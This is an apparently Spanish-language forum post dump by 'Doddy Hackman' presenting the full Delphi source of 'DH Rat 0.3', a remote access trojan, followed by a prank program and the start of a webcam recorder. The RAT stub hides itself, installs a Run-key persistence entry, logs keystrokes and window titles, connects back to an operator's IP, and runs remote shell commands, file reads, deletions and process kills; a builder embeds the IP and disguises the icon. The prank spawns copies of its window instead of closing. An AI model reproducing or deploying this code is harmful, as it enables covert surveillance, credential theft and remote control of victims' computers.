Una imagen : Los codigos. El Administrador. // DH Rat 0.3 // (C) Doddy Hackman 2013 unit rat; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls, sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls, sLabel, ScktComp, Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, madRes, WinInet; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sStatusBar1: TsStatusBar; sPageControl1: TsPageControl; sTabSheet1: TsTabSheet; sTabSheet2: TsTabSheet; sTabSheet3: TsTabSheet; sTabSheet4: TsTabSheet; sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sListView1: TsListView; sMemo1: TsMemo; sGroupBox3: TsGroupBox; sGroupBox4: TsGroupBox; sEdit1: TsEdit; sGroupBox5: TsGroupBox; sButton1: TsButton; sGroupBox6: TsGroupBox; Image1: TImage; sLabel1: TsLabel; ServerSocket1: TServerSocket; PopupMenu1: TPopupMenu; O1: TMenuItem; C1: TMenuItem; L1: TMenuItem; D1: TMenuItem; R1: TMenuItem; S1: TMenuItem; J1: TMenuItem; M1: TMenuItem; T1: TMenuItem; ifPoslistarprocesoscode0then1: TMenuItem; K1: TMenuItem; C2: TMenuItem; C3: TMenuItem; H1: TMenuItem; S2: TMenuItem; H2: TMenuItem; S3: TMenuItem; K2: TMenuItem; PopupMenu2: TPopupMenu; S4: TMenuItem; S5: TMenuItem; Image2: TImage; sGroupBox7: TsGroupBox; sGroupBox8: TsGroupBox; Image3: TImage; sButton2: TsButton; OpenDialog1: TOpenDialog; sEdit2: TsEdit; procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure O1Click(Sender: TObject); procedure C1Click(Sender: TObject); procedure ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); procedure L1Click(Sender: TObject); procedure D1Click(Sender: TObject); procedure R1Click(Sender: TObject); procedure S1Click(Sender: TObject); procedure J1Click(Sender: TObject); procedure M1Click(Sender: TObject); procedure T1Click(Sender: TObject); procedure ifPoslistarprocesoscode0then1Click(Sender: TObject); procedure K1Click(Sender: TObject); procedure C2Click(Sender: TObject); procedure C3Click(Sender: TObject); procedure H1Click(Sender: TObject); procedure S2Click(Sender: TObject); procedure H2Click(Sender: TObject); procedure S3Click(Sender: TObject); procedure K2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure S4Click(Sender: TObject); procedure S5Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sEdit1DblClick(Sender: TObject); procedure sButton1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; argumento: string; implementation {$R *.dfm} // Functions function toma(const pagina: string): UTF8String; // Credits : Based on http://www.scalabium.com/faq/dct0080.htm // Thanks to www.scalabium.com var nave1: HINTERNET; nave2: HINTERNET; tou: DWORD; codez: UTF8String; codee: array [0 .. 1023] of byte; finalfinal: string; begin try begin finalfinal := ''; Result := ''; nave1 := InternetOpen( 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12' , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0, INTERNET_FLAG_RELOAD, 0); repeat begin InternetReadFile(nave2, @codee, SizeOf(codee), tou); SetString(codez, PAnsiChar(@codee[0]), tou); finalfinal := finalfinal + codez; end; until tou = 0; InternetCloseHandle(nave2); InternetCloseHandle(nave1); Result := finalfinal; end; except // end; end; function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure savefile(filename, texto: string); var ar: TextFile; begin AssignFile(ar, filename); FileMode := fmOpenWrite; if FileExists(filename) then Append(ar) else Rewrite(ar); Write(ar, texto); CloseFile(ar); end; // procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; try begin sListView1.Items.Clear; ServerSocket1.Port := 6664; ServerSocket1.Open; sStatusBar1.Panels[0].text := '[+] Online'; Form1.sStatusBar1.Update; end; except sStatusBar1.Panels[0].text := '[-] Error'; Form1.sStatusBar1.Update; end; end; procedure TForm1.C1Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]'); end; procedure TForm1.C2Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Command', 'net user'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![ejecutar] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.C3Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Number', '123'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![crazymouse] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.D1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![borraresto] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.H1Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![ocultartaskbar]'); end; procedure TForm1.H2Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![ocultariconos]'); end; procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![listarprocesos]'); end; procedure TForm1.J1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![escribirword] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.K1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'PID', ''); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![matarproceso] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.K2Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![keyloggerlogs]'); end; procedure TForm1.L1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![listardirectorio] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.M1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Text', 'No tengas miedo'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![mensaje] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.O1Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]'); end; procedure TForm1.R1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![leerarchivo] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.S1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![sendkeys] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.S2Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![volvertaskbar]'); end; procedure TForm1.S3Click(Sender: TObject); begin ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![volvericonos]'); end; procedure TForm1.T1Click(Sender: TObject); begin argumento := InputBox('DH Rat', 'Text', 'Mother Fucker'); ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText ('![hablar] [argumento]' + argumento + '[argumento]'); end; procedure TForm1.S4Click(Sender: TObject); begin try begin ServerSocket1.Port := 6664; ServerSocket1.Open; sListView1.Items.Clear; sStatusBar1.Panels[0].text := '[+] Online'; Form1.sStatusBar1.Update; end; except sStatusBar1.Panels[0].text := '[-] Error'; Form1.sStatusBar1.Update; end; end; procedure TForm1.S5Click(Sender: TObject); begin try begin sListView1.Items.Clear; ServerSocket1.Close; sStatusBar1.Panels[0].text := '[+] OffLine'; Form1.sStatusBar1.Update; end; except sStatusBar1.Panels[0].text := '[-] Error'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton1Click(Sender: TObject); var linea: string; aca: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; marca_uno: string; lineafinal: string; stubgenerado: string; change: DWORD; valor: string; begin stubgenerado := 'server_ready.exe'; lineafinal := '[ip]' + sEdit1.text + '[ip]'; marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]'; aca := INVALID_HANDLE_VALUE; nose := 0; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); linea := marca_uno; StrCopy(code, PChar(linea)); aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 9999, nose, nil); CloseHandle(aca); end; // if not(sEdit2.text = '') then begin try begin valor := IntToStr(128); change := BeginUpdateResourceW (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' + stubgenerado)), False); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar(wideString(sEdit2.text))); EndUpdateResourceW(change, False); sStatusBar1.Panels[0].text := '[+] Done '; sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].text := '[-] Error'; sStatusBar1.Update; end; end; end else begin sStatusBar1.Panels[0].text := '[+] Done '; sStatusBar1.Update; end; // end; procedure TForm1.sButton2Click(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; OpenDialog1.Filter := 'ICO|*.ico|'; if OpenDialog1.Execute then begin Image3.Picture.LoadFromFile(OpenDialog1.filename); sEdit2.text := OpenDialog1.filename; end; end; procedure TForm1.sEdit1DblClick(Sender: TObject); var code, ip: string; begin code := toma('http://whatismyipaddress.com/'); ip := regex(code, 'alt="Click for more about ', '"></a>'); sEdit1.text := ip; end; procedure TForm1.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin with sListView1.Items.Add do begin Caption := Socket.RemoteHost; SubItems.Add('?'); SubItems.Add('?'); SubItems.Add('?'); SubItems.Add('?'); end; end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var code: string; host: string; ip: string; pais: string; username: string; os: string; begin code := Socket.ReceiveText; if (Pos('[datos_nuevos][ip]', code) > 0) then begin ip := regex(code, '[ip]', '[ip]'); pais := regex(code, '[pais]', '[pais]'); username := regex(code, '[username]', '[username]'); os := regex(code, '[os]', '[os]'); sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip; sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais; sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username; sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os; sMemo1.Lines.Add('[+] Update Target : OK'); end else if (Pos('![keyloggerlogs]', code) > 0) then begin if (FileExists('logs_keylogger.html')) then begin DeleteFile('logs_keylogger.html'); end; savefile('logs_keylogger.html', code); sMemo1.Lines.Add('[+] Keylogger : OK'); ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName) + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL); end else begin sMemo1.Lines.Add(code); end; end; end. // The End ?
El stub. // DH Rat 0.3 // (C) Doddy Hackman 2013 // Stub unit stub; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase, IdIPMCastServer, ScktComp, sButton, ExtCtrls; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; ClientSocket1: TClientSocket; Timer1: TTimer; Timer2: TTimer; function datanow(): string; procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); procedure sButton1Click(Sender: TObject); procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); private Nombre2: string; { Private declarations } public { Public declarations } end; var Form1: TForm1; acatoy: string; implementation {$R *.dfm} {$POINTERMATH ON} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; procedure savefile(filename, texto: string); var ar: TextFile; begin try begin AssignFile(ar, filename); FileMode := fmOpenWrite; if FileExists(filename) then Append(ar) else Rewrite(ar); Write(ar, texto); CloseFile(ar); end; except // end; end; function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function listardirectorio(dir: string): string; var busqueda: TSearchRec; code: string; begin code := ''; FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda); code := code + '[+] : ' + busqueda.Name + sLineBreak; while FindNext(busqueda) = 0 do begin code := code + '[+] : ' + busqueda.Name + sLineBreak; end; Result := code; FindClose(busqueda); end; function borraresto(archivo: string): string; var code: string; begin code := ''; if DirectoryExists(archivo) then begin if (RemoveDir(archivo)) then begin code := '[+] Directory removed'; end else begin code := '[+] Error'; end; end; if FileExists(archivo) then begin if (DeleteFile(archivo)) then begin code := '[+] File removed'; end else begin code := '[+] Error'; end; end; Result := code; end; function LeerArchivo(const archivo: TFileName): String; var lista: TStringList; begin if (FileExists(archivo)) then begin lista := TStringList.Create; lista.Loadfromfile(archivo); Result := lista.text; lista.Free; end; end; function lectora(opcion: string): string; var code: string; begin code := ''; if (opcion = 'open') then begin mciSendString('Set cdaudio door open wait', nil, 0, 0); code := '[+] Open CD : OK'; end else begin mciSendString('Set cdaudio door closed wait', nil, 0, 0); code := '[+] Close CD : OK'; end; Result := code; end; function cambiar_barra(opcion: string): string; var code: string; begin code := ''; if (opcion = 'hide') then begin ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); code := '[+] Hidden Taskbar : OK'; end else begin ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA); code := '[+] Show Taskbar : OK'; end; Result := code; end; function cambiar_iconos(opcion: string): string; var code: string; acatoy: THandle; begin code := ''; acatoy := FindWindow('ProgMan', nil); acatoy := GetWindow(acatoy, GW_CHILD); if (opcion = 'hide') then begin ShowWindow(acatoy, SW_HIDE); code := '[+] Hidden Icons : OK'; end else begin ShowWindow(acatoy, SW_SHOW); code := '[+] Show Icons : OK'; end; Result := code; end; function mensaje(texto: string): string; var code: string; begin code := ''; ShowMessage(texto); code := '[+] Message Sent'; Result := code; end; function hablar(text: string): string; var Voice: Variant; code: string; begin code := ''; Voice := CreateOLEObject('SAPI.SpVoice'); Voice.speak(text); code := '[+] Voice Speak : OK'; Result := code; end; function SendKeys(texto: string): string; // Thanks to Remy Lebeau for the help var eventos: PInput; controlb, controla: integer; code: string; begin code := ''; code := '[+] SendKeys : OK'; GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2)); controla := 0; for controlb := 1 to Length(texto) do begin eventos[controla].Itype := INPUT_KEYBOARD; eventos[controla].ki.wVk := 0; eventos[controla].ki.wScan := ord(texto[controlb]); eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE; eventos[controla].ki.time := 0; eventos[controla].ki.dwExtraInfo := 0; Inc(controla); eventos[controla].Itype := INPUT_KEYBOARD; eventos[controla].ki.wVk := 0; eventos[controla].ki.wScan := ord(texto[controlb]); eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP; eventos[controla].ki.time := 0; eventos[controla].ki.dwExtraInfo := 0; Inc(controla); end; SendInput(controla, eventos[0], SizeOf(TInput)); Result := code; end; function escribir_word(texto: string): string; var code: string; begin code := ''; code := '[+] Word Joke : OK'; ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL); Sleep(5000); SendKeys(texto); Result := code; end; function listarprocesos(): string; var conector: THandle; timbre: LongBool; indicio: TProcessEntry32; code: string; begin code := ''; conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); indicio.dwSize := SizeOf(indicio); timbre := Process32First(conector, indicio); while timbre do begin code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr (indicio.th32ProcessID) + sLineBreak; timbre := Process32Next(conector, indicio); end; Result := code; end; function matarproceso(pid: string): string; var vano: THandle; code: string; begin code := ''; vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid)); if TerminateProcess(vano, 0) then begin code := '[+] Kill Process : OK'; end else begin code := '[+] Kill Process : ERROR'; end; Result := code; end; function ejecutar(cmd: string): string; // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61 // Thanks to www.delphidabbler.com var parte1: TSecurityAttributes; parte2: TStartupInfo; parte3: TProcessInformation; parte4: THandle; parte5: THandle; control2: Boolean; contez: array [0 .. 255] of AnsiChar; notengoidea: Cardinal; fix: Boolean; code: string; begin code := ''; with parte1 do begin nLength := SizeOf(parte1); bInheritHandle := True; lpSecurityDescriptor := nil; end; CreatePipe(parte4, parte5, @parte1, 0); with parte2 do begin FillChar(parte2, SizeOf(parte2), 0); cb := SizeOf(parte2); dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES; wShowWindow := SW_HIDE; hStdInput := GetStdHandle(STD_INPUT_HANDLE); hStdOutput := parte5; hStdError := parte5; end; fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil, PChar('c:/'), parte2, parte3); CloseHandle(parte5); if fix then repeat begin control2 := ReadFile(parte4, contez, 255, notengoidea, nil); end; if notengoidea > 0 then begin contez[notengoidea] := #0; code := code + contez; end; until not(control2) or (notengoidea = 0); Result := code; end; function crazy_mouse(number: string): string; var i: integer; code: string; begin code := ''; For i := 1 to StrToInt(number) do begin Sleep(1000); SetCursorPos(i, i); end; code := '[+] Crazy Mouse : OK'; Result := code; end; function TForm1.datanow(): string; var code: string; ip: string; pais: string; re: string; username: string; os: string; begin try begin code := IdHTTP1.Get('http://whatismyipaddress.com/'); ip := regex(code, 'alt="Click for more about ', '"></a>'); pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>'); if (ip = '') then begin ip := '?'; end; if (pais = '') then begin pais := '?'; end; username := GetEnvironmentVariable('username'); os := GetEnvironmentVariable('os'); re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' + '[username]' + username + '[username]' + '[os]' + os + '[os]'; end; except // end; Result := re; end; // procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); begin ClientSocket1.Socket.SendText(datanow()); end; procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); var code: string; argumento: string; begin code := Socket.ReceiveText; argumento := regex(code, '[argumento]', '[argumento]'); if (Pos('![opencd]', code) > 0) then begin ClientSocket1.Socket.SendText(lectora('open')); end; if (Pos('![closecd]', code) > 0) then begin ClientSocket1.Socket.SendText(lectora('close')); end; if (Pos('![listardirectorio]', code) > 0) then begin ClientSocket1.Socket.SendText(listardirectorio(argumento)); end; if (Pos('![borraresto]', code) > 0) then begin ClientSocket1.Socket.SendText(borraresto(argumento)); end; if (Pos('![leerarchivo]', code) > 0) then begin ClientSocket1.Socket.SendText(LeerArchivo(argumento)); end; if (Pos('![keyloggerlogs]', code) > 0) then begin ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy)); end; if (Pos('![sendkeys]', code) > 0) then begin ClientSocket1.Socket.SendText(SendKeys(argumento)); end; if (Pos('![escribirword]', code) > 0) then begin ClientSocket1.Socket.SendText(escribir_word(argumento)); end; if (Pos('![mensaje]', code) > 0) then begin ClientSocket1.Socket.SendText(mensaje(argumento)); end; if (Pos('![hablar]', code) > 0) then begin ClientSocket1.Socket.SendText(hablar(argumento)); end; if (Pos('![matarproceso]', code) > 0) then begin ClientSocket1.Socket.SendText(matarproceso(argumento)); end; if (Pos('![ejecutar]', code) > 0) then begin ClientSocket1.Socket.SendText(ejecutar(argumento)); end; if (Pos('![crazymouse]', code) > 0) then begin ClientSocket1.Socket.SendText(crazy_mouse(argumento)); end; if (Pos('![ocultartaskbar]', code) > 0) then begin ClientSocket1.Socket.SendText(cambiar_barra('hide')); end; if (Pos('![volvertaskbar]', code) > 0) then begin ClientSocket1.Socket.SendText(cambiar_barra('na')); end; if (Pos('![ocultariconos]', code) > 0) then begin ClientSocket1.Socket.SendText(cambiar_iconos('hide')); end; if (Pos('![volvericonos]', code) > 0) then begin ClientSocket1.Socket.SendText(cambiar_iconos('na')); end; if (Pos('![listarprocesos]', code) > 0) then begin ClientSocket1.Socket.SendText(listarprocesos()); end; end; procedure TForm1.FormCreate(Sender: TObject); var dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string; registro: HKEY; ip: string; ob: THandle; code: Array [0 .. 9999 + 1] of Char; nose: DWORD; todo: string; begin Application.ShowMainForm := FALSE; ob := INVALID_HANDLE_VALUE; code := ''; ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -9999, nil, FILE_END); ReadFile(ob, code, 9999, nose, nil); CloseHandle(ob); end; todo := regex(code, '[63686175]', '[63686175]'); todo := dhencode(todo, 'decode'); ip := regex(todo, '[ip]', '[ip]'); try begin dir_hide := GetEnvironmentVariable('USERPROFILE') + '/'; carpeta := 'ratata'; dir := dir_hide + carpeta + '/'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); nombrereal := ExtractFileName(paramstr(0)); rutareal := dir; yalisto := dir + nombrereal; acatoy := dir + 'logs.html'; MoveFile(PChar(paramstr(0)), PChar(yalisto)); SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN); RegCreateKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil); RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666); RegCloseKey(registro); savefile('logs.html', '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>'); ClientSocket1.Address := ip; ClientSocket1.Port := 6664; ClientSocket1.Open; end; except // end; end; procedure TForm1.sButton1Click(Sender: TObject); begin ClientSocket1.Socket.SendText(datanow()); end; procedure TForm1.Timer1Timer(Sender: TObject); var i: integer; Result: Longint; mayus: integer; shift: integer; const n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57'); const t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); const n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105'); const t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); const n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193', '291', '220', '221', '222', '226'); const t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|'); const n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187', '188', '189', '190', '191', '192', '193', '219', '220', '221', '222', '226'); const t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]', '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\', ' / ', ' \ \ \ ', ']', '[', '~', '\/'); begin // Others for i := Low(n_raros) to High(n_raros) do begin Result := GetAsyncKeyState(StrToInt(n_raros[i])); If Result = -32767 then begin savefile('logs.html', t_raros[i]); end; end; // Numbers for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do begin Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i])); If Result = -32767 then begin savefile('logs.html', t_numeros_derecha[i]); end; end; for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do begin Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i])); If Result = -32767 then begin savefile('logs.html', t_numeros_izquierda[i]); end; end; // SHIFT if (GetAsyncKeyState(VK_SHIFT) <> 0) then begin for i := Low(n_shift) to High(n_shift) do begin Result := GetAsyncKeyState(StrToInt(n_shift[i])); If Result = -32767 then begin savefile('logs.html', t_shift[i]); end; end; for i := 65 to 90 do begin Result := GetAsyncKeyState(i); If Result = -32767 then Begin savefile('logs.html', Chr(i + 0)); End; end; end; // MAYUS if (GetKeyState(20) = 0) then begin mayus := 32; end else begin mayus := 0; end; for i := 65 to 90 do begin Result := GetAsyncKeyState(i); If Result = -32767 then Begin savefile('logs.html', Chr(i + mayus)); End; end; end; procedure TForm1.Timer2Timer(Sender: TObject); var ventana1: array [0 .. 255] of Char; nombre1: string; begin GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1)); nombre1 := ventana1; if not(nombre1 = Nombre2) then begin Nombre2 := nombre1; savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>'); end; end; // end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
138
|
Programación / Programación General / [Delphi] Una inocente broma xD
|
en: 6 Diciembre 2013, 14:14 pm
|
Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica. Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas. Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD. El codigo. // Joke : Big Tits // (C) Doddy Hackman 2013 unit big; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, acPNG, ExtCtrls, Math; type TForm1 = class(TForm) Image1: TImage; Timer1: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure nomepiensoir(); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.nomepiensoir; // Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm // Thanks to Zarko Gajic var parte1: TMemoryStream; acatoy: TForm; const dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500'); begin parte1 := TMemoryStream.Create; parte1.WriteComponent(Form1); parte1.Position := 0; acatoy := TFormClass(Form1.ClassType).CreateNew(Application); parte1.ReadComponent(acatoy); acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]); acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]); acatoy.Show; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin nomepiensoir(); Abort; end; procedure TForm1.Timer1Timer(Sender: TObject); begin nomepiensoir(); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
139
|
Programación / Programación General / [Delphi] The WatchMan 0.4
|
en: 2 Diciembre 2013, 03:39 am
|
Un simple programa que graba todos los registros de la webcam en un video con formato avi. Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques. Una imagen : El codigo. // The WatchMan 0.4 // (C) Doddy Hackman 2013 // Credits : Based on // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html // http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html // Thanks to Javier Par unit the; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls, sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG, sLabel; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sPageControl1: TsPageControl; sStatusBar1: TsStatusBar; sTabSheet1: TsTabSheet; sTabSheet3: TsTabSheet; sGroupBox1: TsGroupBox; sTabSheet4: TsTabSheet; sGroupBox2: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sGroupBox4: TsGroupBox; sRadioButton3: TsRadioButton; 